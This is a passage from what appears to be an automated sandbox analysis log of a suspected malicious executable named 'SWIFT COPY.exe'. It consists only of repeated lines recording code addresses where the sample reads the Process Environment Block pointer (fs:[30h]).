Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013403E9 mov eax, dword ptr fs:[00000030h]	3_2_013403E9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013403E9 mov eax, dword ptr fs:[00000030h]	3_2_013403E9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013403E9 mov eax, dword ptr fs:[00000030h]	3_2_013403E9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013403E9 mov eax, dword ptr fs:[00000030h]	3_2_013403E9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DE3DB mov eax, dword ptr fs:[00000030h]	3_2_013DE3DB
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DE3DB mov eax, dword ptr fs:[00000030h]	3_2_013DE3DB
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DE3DB mov ecx, dword ptr fs:[00000030h]	3_2_013DE3DB
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DE3DB mov eax, dword ptr fs:[00000030h]	3_2_013DE3DB
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D43D4 mov eax, dword ptr fs:[00000030h]	3_2_013D43D4
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D43D4 mov eax, dword ptr fs:[00000030h]	3_2_013D43D4
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013EC3CD mov eax, dword ptr fs:[00000030h]	3_2_013EC3CD
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A3C0 mov eax, dword ptr fs:[00000030h]	3_2_0133A3C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A3C0 mov eax, dword ptr fs:[00000030h]	3_2_0133A3C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A3C0 mov eax, dword ptr fs:[00000030h]	3_2_0133A3C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A3C0 mov eax, dword ptr fs:[00000030h]	3_2_0133A3C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A3C0 mov eax, dword ptr fs:[00000030h]	3_2_0133A3C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A3C0 mov eax, dword ptr fs:[00000030h]	3_2_0133A3C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013383C0 mov eax, dword ptr fs:[00000030h]	3_2_013383C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013383C0 mov eax, dword ptr fs:[00000030h]	3_2_013383C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013383C0 mov eax, dword ptr fs:[00000030h]	3_2_013383C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013383C0 mov eax, dword ptr fs:[00000030h]	3_2_013383C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B63C0 mov eax, dword ptr fs:[00000030h]	3_2_013B63C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132823B mov eax, dword ptr fs:[00000030h]	3_2_0132823B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0140625D mov eax, dword ptr fs:[00000030h]	3_2_0140625D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E0274 mov eax, dword ptr fs:[00000030h]	3_2_013E0274
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E0274 mov eax, dword ptr fs:[00000030h]	3_2_013E0274
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E0274 mov eax, dword ptr fs:[00000030h]	3_2_013E0274
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E0274 mov eax, dword ptr fs:[00000030h]	3_2_013E0274
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E0274 mov eax, dword ptr fs:[00000030h]	3_2_013E0274
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E0274 mov eax, dword ptr fs:[00000030h]	3_2_013E0274
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E0274 mov eax, dword ptr fs:[00000030h]	3_2_013E0274
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E0274 mov eax, dword ptr fs:[00000030h]	3_2_013E0274
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E0274 mov eax, dword ptr fs:[00000030h]	3_2_013E0274
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E0274 mov eax, dword ptr fs:[00000030h]	3_2_013E0274
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E0274 mov eax, dword ptr fs:[00000030h]	3_2_013E0274
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E0274 mov eax, dword ptr fs:[00000030h]	3_2_013E0274
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01334260 mov eax, dword ptr fs:[00000030h]	3_2_01334260
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01334260 mov eax, dword ptr fs:[00000030h]	3_2_01334260
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01334260 mov eax, dword ptr fs:[00000030h]	3_2_01334260
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132826B mov eax, dword ptr fs:[00000030h]	3_2_0132826B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132A250 mov eax, dword ptr fs:[00000030h]	3_2_0132A250
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01336259 mov eax, dword ptr fs:[00000030h]	3_2_01336259
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013EA250 mov eax, dword ptr fs:[00000030h]	3_2_013EA250
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013EA250 mov eax, dword ptr fs:[00000030h]	3_2_013EA250
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B8243 mov eax, dword ptr fs:[00000030h]	3_2_013B8243
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B8243 mov ecx, dword ptr fs:[00000030h]	3_2_013B8243
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013402A0 mov eax, dword ptr fs:[00000030h]	3_2_013402A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013402A0 mov eax, dword ptr fs:[00000030h]	3_2_013402A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_014062D6 mov eax, dword ptr fs:[00000030h]	3_2_014062D6
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C62A0 mov eax, dword ptr fs:[00000030h]	3_2_013C62A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C62A0 mov ecx, dword ptr fs:[00000030h]	3_2_013C62A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C62A0 mov eax, dword ptr fs:[00000030h]	3_2_013C62A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C62A0 mov eax, dword ptr fs:[00000030h]	3_2_013C62A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C62A0 mov eax, dword ptr fs:[00000030h]	3_2_013C62A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C62A0 mov eax, dword ptr fs:[00000030h]	3_2_013C62A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136E284 mov eax, dword ptr fs:[00000030h]	3_2_0136E284
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136E284 mov eax, dword ptr fs:[00000030h]	3_2_0136E284
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B0283 mov eax, dword ptr fs:[00000030h]	3_2_013B0283
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B0283 mov eax, dword ptr fs:[00000030h]	3_2_013B0283
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B0283 mov eax, dword ptr fs:[00000030h]	3_2_013B0283
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013402E1 mov eax, dword ptr fs:[00000030h]	3_2_013402E1
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013402E1 mov eax, dword ptr fs:[00000030h]	3_2_013402E1
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013402E1 mov eax, dword ptr fs:[00000030h]	3_2_013402E1
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A2C3 mov eax, dword ptr fs:[00000030h]	3_2_0133A2C3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A2C3 mov eax, dword ptr fs:[00000030h]	3_2_0133A2C3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A2C3 mov eax, dword ptr fs:[00000030h]	3_2_0133A2C3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A2C3 mov eax, dword ptr fs:[00000030h]	3_2_0133A2C3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A2C3 mov eax, dword ptr fs:[00000030h]	3_2_0133A2C3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340535 mov eax, dword ptr fs:[00000030h]	3_2_01340535
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340535 mov eax, dword ptr fs:[00000030h]	3_2_01340535
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340535 mov eax, dword ptr fs:[00000030h]	3_2_01340535
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340535 mov eax, dword ptr fs:[00000030h]	3_2_01340535
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340535 mov eax, dword ptr fs:[00000030h]	3_2_01340535
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340535 mov eax, dword ptr fs:[00000030h]	3_2_01340535
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135E53E mov eax, dword ptr fs:[00000030h]	3_2_0135E53E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135E53E mov eax, dword ptr fs:[00000030h]	3_2_0135E53E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135E53E mov eax, dword ptr fs:[00000030h]	3_2_0135E53E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135E53E mov eax, dword ptr fs:[00000030h]	3_2_0135E53E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135E53E mov eax, dword ptr fs:[00000030h]	3_2_0135E53E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C6500 mov eax, dword ptr fs:[00000030h]	3_2_013C6500
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01404500 mov eax, dword ptr fs:[00000030h]	3_2_01404500
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01404500 mov eax, dword ptr fs:[00000030h]	3_2_01404500
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01404500 mov eax, dword ptr fs:[00000030h]	3_2_01404500
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01404500 mov eax, dword ptr fs:[00000030h]	3_2_01404500
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01404500 mov eax, dword ptr fs:[00000030h]	3_2_01404500
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01404500 mov eax, dword ptr fs:[00000030h]	3_2_01404500
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01404500 mov eax, dword ptr fs:[00000030h]	3_2_01404500
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136656A mov eax, dword ptr fs:[00000030h]	3_2_0136656A
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136656A mov eax, dword ptr fs:[00000030h]	3_2_0136656A
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136656A mov eax, dword ptr fs:[00000030h]	3_2_0136656A
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01338550 mov eax, dword ptr fs:[00000030h]	3_2_01338550
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01338550 mov eax, dword ptr fs:[00000030h]	3_2_01338550
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013545B1 mov eax, dword ptr fs:[00000030h]	3_2_013545B1
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013545B1 mov eax, dword ptr fs:[00000030h]	3_2_013545B1
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B05A7 mov eax, dword ptr fs:[00000030h]	3_2_013B05A7
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B05A7 mov eax, dword ptr fs:[00000030h]	3_2_013B05A7
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B05A7 mov eax, dword ptr fs:[00000030h]	3_2_013B05A7
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136E59C mov eax, dword ptr fs:[00000030h]	3_2_0136E59C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01332582 mov eax, dword ptr fs:[00000030h]	3_2_01332582
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01332582 mov ecx, dword ptr fs:[00000030h]	3_2_01332582
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01364588 mov eax, dword ptr fs:[00000030h]	3_2_01364588
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0135E5E7
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0135E5E7
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0135E5E7
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0135E5E7
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0135E5E7
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0135E5E7
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0135E5E7
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0135E5E7
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013325E0 mov eax, dword ptr fs:[00000030h]	3_2_013325E0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136C5ED mov eax, dword ptr fs:[00000030h]	3_2_0136C5ED
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136C5ED mov eax, dword ptr fs:[00000030h]	3_2_0136C5ED
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013365D0 mov eax, dword ptr fs:[00000030h]	3_2_013365D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136A5D0 mov eax, dword ptr fs:[00000030h]	3_2_0136A5D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136A5D0 mov eax, dword ptr fs:[00000030h]	3_2_0136A5D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136E5CF mov eax, dword ptr fs:[00000030h]	3_2_0136E5CF
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136E5CF mov eax, dword ptr fs:[00000030h]	3_2_0136E5CF
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132E420 mov eax, dword ptr fs:[00000030h]	3_2_0132E420
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132E420 mov eax, dword ptr fs:[00000030h]	3_2_0132E420
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132E420 mov eax, dword ptr fs:[00000030h]	3_2_0132E420
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132C427 mov eax, dword ptr fs:[00000030h]	3_2_0132C427
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B6420 mov eax, dword ptr fs:[00000030h]	3_2_013B6420
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B6420 mov eax, dword ptr fs:[00000030h]	3_2_013B6420
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B6420 mov eax, dword ptr fs:[00000030h]	3_2_013B6420
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B6420 mov eax, dword ptr fs:[00000030h]	3_2_013B6420
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B6420 mov eax, dword ptr fs:[00000030h]	3_2_013B6420
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B6420 mov eax, dword ptr fs:[00000030h]	3_2_013B6420
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B6420 mov eax, dword ptr fs:[00000030h]	3_2_013B6420
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01368402 mov eax, dword ptr fs:[00000030h]	3_2_01368402
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01368402 mov eax, dword ptr fs:[00000030h]	3_2_01368402
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01368402 mov eax, dword ptr fs:[00000030h]	3_2_01368402
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135A470 mov eax, dword ptr fs:[00000030h]	3_2_0135A470
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135A470 mov eax, dword ptr fs:[00000030h]	3_2_0135A470
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135A470 mov eax, dword ptr fs:[00000030h]	3_2_0135A470
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013BC460 mov ecx, dword ptr fs:[00000030h]	3_2_013BC460
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013EA456 mov eax, dword ptr fs:[00000030h]	3_2_013EA456
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132645D mov eax, dword ptr fs:[00000030h]	3_2_0132645D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135245A mov eax, dword ptr fs:[00000030h]	3_2_0135245A
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136E443 mov eax, dword ptr fs:[00000030h]	3_2_0136E443
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136E443 mov eax, dword ptr fs:[00000030h]	3_2_0136E443
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136E443 mov eax, dword ptr fs:[00000030h]	3_2_0136E443
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136E443 mov eax, dword ptr fs:[00000030h]	3_2_0136E443
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136E443 mov eax, dword ptr fs:[00000030h]	3_2_0136E443
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136E443 mov eax, dword ptr fs:[00000030h]	3_2_0136E443
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136E443 mov eax, dword ptr fs:[00000030h]	3_2_0136E443
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136E443 mov eax, dword ptr fs:[00000030h]	3_2_0136E443
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013644B0 mov ecx, dword ptr fs:[00000030h]	3_2_013644B0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013BA4B0 mov eax, dword ptr fs:[00000030h]	3_2_013BA4B0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013364AB mov eax, dword ptr fs:[00000030h]	3_2_013364AB
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013EA49A mov eax, dword ptr fs:[00000030h]	3_2_013EA49A
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013304E5 mov ecx, dword ptr fs:[00000030h]	3_2_013304E5
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136273C mov eax, dword ptr fs:[00000030h]	3_2_0136273C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136273C mov ecx, dword ptr fs:[00000030h]	3_2_0136273C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136273C mov eax, dword ptr fs:[00000030h]	3_2_0136273C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AC730 mov eax, dword ptr fs:[00000030h]	3_2_013AC730
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136C720 mov eax, dword ptr fs:[00000030h]	3_2_0136C720
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136C720 mov eax, dword ptr fs:[00000030h]	3_2_0136C720
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01330710 mov eax, dword ptr fs:[00000030h]	3_2_01330710
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01360710 mov eax, dword ptr fs:[00000030h]	3_2_01360710
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136C700 mov eax, dword ptr fs:[00000030h]	3_2_0136C700
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01338770 mov eax, dword ptr fs:[00000030h]	3_2_01338770
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340770 mov eax, dword ptr fs:[00000030h]	3_2_01340770
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340770 mov eax, dword ptr fs:[00000030h]	3_2_01340770
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340770 mov eax, dword ptr fs:[00000030h]	3_2_01340770
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340770 mov eax, dword ptr fs:[00000030h]	3_2_01340770
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340770 mov eax, dword ptr fs:[00000030h]	3_2_01340770
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340770 mov eax, dword ptr fs:[00000030h]	3_2_01340770
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340770 mov eax, dword ptr fs:[00000030h]	3_2_01340770
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340770 mov eax, dword ptr fs:[00000030h]	3_2_01340770
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340770 mov eax, dword ptr fs:[00000030h]	3_2_01340770
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340770 mov eax, dword ptr fs:[00000030h]	3_2_01340770
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340770 mov eax, dword ptr fs:[00000030h]	3_2_01340770
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340770 mov eax, dword ptr fs:[00000030h]	3_2_01340770
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01330750 mov eax, dword ptr fs:[00000030h]	3_2_01330750
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013BE75D mov eax, dword ptr fs:[00000030h]	3_2_013BE75D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372750 mov eax, dword ptr fs:[00000030h]	3_2_01372750
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372750 mov eax, dword ptr fs:[00000030h]	3_2_01372750
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B4755 mov eax, dword ptr fs:[00000030h]	3_2_013B4755
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136674D mov esi, dword ptr fs:[00000030h]	3_2_0136674D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136674D mov eax, dword ptr fs:[00000030h]	3_2_0136674D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136674D mov eax, dword ptr fs:[00000030h]	3_2_0136674D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013307AF mov eax, dword ptr fs:[00000030h]	3_2_013307AF
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E47A0 mov eax, dword ptr fs:[00000030h]	3_2_013E47A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D678E mov eax, dword ptr fs:[00000030h]	3_2_013D678E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013347FB mov eax, dword ptr fs:[00000030h]	3_2_013347FB
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013347FB mov eax, dword ptr fs:[00000030h]	3_2_013347FB
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013527ED mov eax, dword ptr fs:[00000030h]	3_2_013527ED
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013527ED mov eax, dword ptr fs:[00000030h]	3_2_013527ED
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013527ED mov eax, dword ptr fs:[00000030h]	3_2_013527ED
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013BE7E1 mov eax, dword ptr fs:[00000030h]	3_2_013BE7E1
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133C7C0 mov eax, dword ptr fs:[00000030h]	3_2_0133C7C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B07C3 mov eax, dword ptr fs:[00000030h]	3_2_013B07C3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134E627 mov eax, dword ptr fs:[00000030h]	3_2_0134E627
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01366620 mov eax, dword ptr fs:[00000030h]	3_2_01366620
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01368620 mov eax, dword ptr fs:[00000030h]	3_2_01368620
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133262C mov eax, dword ptr fs:[00000030h]	3_2_0133262C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372619 mov eax, dword ptr fs:[00000030h]	3_2_01372619
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AE609 mov eax, dword ptr fs:[00000030h]	3_2_013AE609
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134260B mov eax, dword ptr fs:[00000030h]	3_2_0134260B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134260B mov eax, dword ptr fs:[00000030h]	3_2_0134260B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134260B mov eax, dword ptr fs:[00000030h]	3_2_0134260B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134260B mov eax, dword ptr fs:[00000030h]	3_2_0134260B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134260B mov eax, dword ptr fs:[00000030h]	3_2_0134260B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134260B mov eax, dword ptr fs:[00000030h]	3_2_0134260B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134260B mov eax, dword ptr fs:[00000030h]	3_2_0134260B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01362674 mov eax, dword ptr fs:[00000030h]	3_2_01362674
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F866E mov eax, dword ptr fs:[00000030h]	3_2_013F866E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F866E mov eax, dword ptr fs:[00000030h]	3_2_013F866E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136A660 mov eax, dword ptr fs:[00000030h]	3_2_0136A660
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136A660 mov eax, dword ptr fs:[00000030h]	3_2_0136A660
